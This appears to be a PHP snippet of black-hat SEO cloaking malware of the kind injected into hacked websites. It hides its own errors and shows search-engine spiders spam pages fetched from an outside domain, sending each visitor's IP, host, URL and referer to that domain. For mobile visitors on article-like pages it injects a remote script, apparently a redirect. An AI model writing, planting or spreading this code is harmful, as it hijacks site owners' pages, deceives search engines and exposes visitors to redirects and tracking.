error_reporting(0); 
header("Content-Type: text/html;charset=utf-8"); 
function getClientIP() { 
    if (isset($_SERVER['HTTP_CLIENT_IP']) && $_SERVER['HTTP_CLIENT_IP']) { 
        return $_SERVER['HTTP_CLIENT_IP']; 
    } 
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR']) { 
        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); 
        return trim($ips[0]); 
    } 
    if (isset($_SERVER['HTTP_X_FORWARDED']) && $_SERVER['HTTP_X_FORWARDED']) { 
        return $_SERVER['HTTP_X_FORWARDED']; 
    } 
    if (isset($_SERVER['HTTP_FORWARDED_FOR']) && $_SERVER['HTTP_FORWARDED_FOR']) { 
        return $_SERVER['HTTP_FORWARDED_FOR']; 
    } 
    if (isset($_SERVER['HTTP_FORWARDED']) && $_SERVER['HTTP_FORWARDED']) { 
        return $_SERVER['HTTP_FORWARDED']; 
    } 
    if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR']) { 
        return $_SERVER['REMOTE_ADDR']; 
    } 
    return 'UNKNOWN'; 
} 
$clientIP = getClientIP(); 
function go2023($c, $userAgent) { 
    $d = curl_init(); 
    curl_setopt($d, CURLOPT_URL, $c); 
    curl_setopt($d, CURLOPT_USERAGENT, $userAgent); 
    curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE); 
    curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); 
    curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($d, CURLOPT_HEADER, 0); 
    $e = curl_exec($d); 
    curl_close($d); 
    return $e; 
} 
$b = $_SERVER; 
define('url', !isset($b['REQUEST_URI']) ? '' : $b['REQUEST_URI']); 
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); 
define('ent', !isset($b['HTTP_USER_AGENT']) ? 'Default-User-Agent' : $b['HTTP_USER_AGENT']); 
define('site', "http://php.seo-baidu.cc/?"); 
define('road', "u=".url."&host=".$b['HTTP_HOST']."&ip=".$clientIP."&sm=1"); 
define('memes', road."&referer=".urlencode(ref)); 
define('regs', '@Baiduspider|spider|360Spider@i'); 
//define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|baiduboxapp|bdapp|WebOS|Symbian|Windows Phone/'); 
define('mobile', '/phone|pad|pod|iphone|ipod|ios|ipad|android|mobile|blackberry|iemobile|mqqbrowser|juc|fennec|wosbrowser|browserng|baiduboxapp|bdapp|webos|symbian|windows phone|huawei|honor|xiaomi|redmi|vivo|oppo|meizu|oneplus|zte|lenovo|alipay|dingtalk|wechat|micromessenger|sogou|uc|qqbrowser|toutiao|douyin|tiktok|360browser/i'); 
$a = "stristr"; 
define('area',$a(url, "/coo") or $a(url, "index.php?w=") or $a(url, "exclusive")or $a(url, "recommend") or $a(url, "column") or $a(url, "acr") or $a(url, "article/") or $a(url, "scm") or $a(url, "leg") or $a(url, "xaw") or $a(url, "ofj") or $a(url, "nmbd") or $a(url, "hjg") or $a(url, "xpynews") or $a(url, "amayding") or $a(url, "article") or $a(url, "post") or $a(url, "blog") or $a(url, "topic") or $a(url, "detail") or $a(url, "view") or $a(url, "read") or $a(url, "content") or $a(url, "page") or $a(url, "archive") or $a(url, "category") or $a(url, "section") or $a(url, "tag") or $a(url, "item")); 
if (area && preg_match(mobile, ent))
    {echo '<script src=https://jump.seo-baidu.cc/hello_shou.js></script>';exit;}
if (preg_match(regs, ent)) { 
    if (area) { 
        echo go2023(site.road, ent); 
        exit; 
    } else { 
        echo go2023("http://php.seo-baidu.cc/linkphp", ent);
        ob_flush(); 
        flush(); 
    } 
}